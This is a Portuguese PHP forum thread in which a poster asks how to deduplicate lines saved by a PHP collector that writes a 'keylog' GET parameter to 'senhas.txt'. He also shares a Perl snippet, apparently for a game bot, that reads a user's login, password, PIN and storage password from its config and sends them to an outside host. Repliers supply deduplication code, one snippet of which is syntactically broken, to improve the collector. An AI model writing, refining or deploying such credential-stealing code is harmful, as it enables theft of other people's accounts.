Usamos cookies para medir audiência e melhorar sua experiência. Você pode aceitar ou recusar a qualquer momento. Veja sobre o iMasters.
Olá, estou começando agora em PHP e gostaria de saber como faço e se é possivel para o script que eu estou usando bloquear linhas repetidas no host.
Ex:
Bom dia pessoal! --> deixar apenas o primeiro recebido.
Bom dia pessoal! --> não armazenar o segundo já que e a mesma frase.
Bom dia pessoal --> agora que não tem a exclamação ele deve armazenar já que está diferente do primeiro e do segundo.
<?php
$recived_keys = $_GET["keylog"];
$file = fopen('senhas.txt', 'a');
fwrite($file, $recived_keys . "\n\n");
?>
Código que uso para enviar as informações:
use LWP::UserAgent;
use Utils qw(urlencode);
my $ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;
my $master = $config{'master'};
$master =~ s/#/:/;
my $usuario = $config{'username'};
$usuario =~ s/#/:/;
my $loginPin = $config{'loginPinCode'};
$loginPin =~ s/#/:/;
my $senha = $config{'password'};
$senha =~ s/#/:/;
my $kafra = $config{'storageAuto_password'};
$kafra =~ s/#/:/;
my $response = $ua->get("http://www.host.com/key_strokes.php?keylog=$master $usuario $senha $loginPin $kafra");
Agradeço desde já!
Coloca o arquivo no excel e manda excluir as repetidas antes de rodar
Você deverá fazer isso ao gravar a linha no arquivo, mas esse script não é php, é perl...
Só o segundo que e perl, o primeiro fica hospedado em um site. Aquele script php que grava as informações em um arquivo de texto que também fica hospedado no mesmo site.
Coloca o arquivo no excel e manda excluir as repetidas antes de rodar
Poderia me explicar melhor como?
La em cima no menu do excel tem a aba "Dados", clica nela e procura a opção: Remover Duplicatas
Quando encontrar,
copia teu txt e cola no excel
Ai seleciona desde a linha 1 até a ultima, e clica no remover duplicatas que vai apagar os repetidos
Só o segundo que e perl, o primeiro fica hospedado em um site. Aquele script php que grava as informações em um arquivo de texto que também fica hospedado no mesmo site.
Desculpe, fiz uma confusão aqui, o código em perl foi desnecessário pois aqui é o forum php, pouquissimas pessoas poderiam te ajudar com ele...
Se você quiser bloquear para não ficar duas palavras repetidas:
- Antes de tudo, pegue o conteudo do arquivo
- pegue a ultima linha
- compare com a string enviada
- se for diferente não grave
<?php
$recived_keys = $_GET["keylog"];
$file = 'senhas.txt';
$content = file_get_contents($file);
$a = explode("\n\n", $content); // Cada linha é um "\n\n" de acordo com seu script
$lastLine = $a[count($a)-1)];
if($lastLine != $recived_keys){
$file = fopen($file, 'a');
fwrite($file, $recived_keys . "\n\n");
}
?>>
La em cima no menu do excel tem a aba "Dados", clica nela e procura a opção: Remover Duplicatas
Quando encontrar,
copia teu txt e cola no excel
Ai seleciona desde a linha 1 até a ultima, e clica no remover duplicatas que vai apagar os repetidos
Deu certo, muito obrigado pela dica.
>
Desculpe, fiz uma confusão aqui, o código em perl foi desnecessário pois aqui é o forum php, pouquissimas pessoas poderiam te ajudar com ele...
Se você quiser bloquear para não ficar duas palavras repetidas:
- Antes de tudo, pegue o conteudo do arquivo
- pegue a ultima linha
- compare com a string enviada
- se for diferente não grave
<?php
$recived_keys = $_GET["keylog"];
$file = 'senhas.txt';
$content = file_get_contents($file);
$a = explode("\n\n", $content); // Cada linha é um "\n\n" de acordo com seu script
$lastLine = $a[count($a)-1)];
if($lastLine != $recived_keys){
$file = fopen($file, 'a');
fwrite($file, $recived_keys . "\n\n");
}
?>
Estarei testando este script aqui e posto resultados.
Obrigado pela ajuda.
Você deverá fazer isso ao gravar a linha no arquivo, mas esse script não é php, é perl...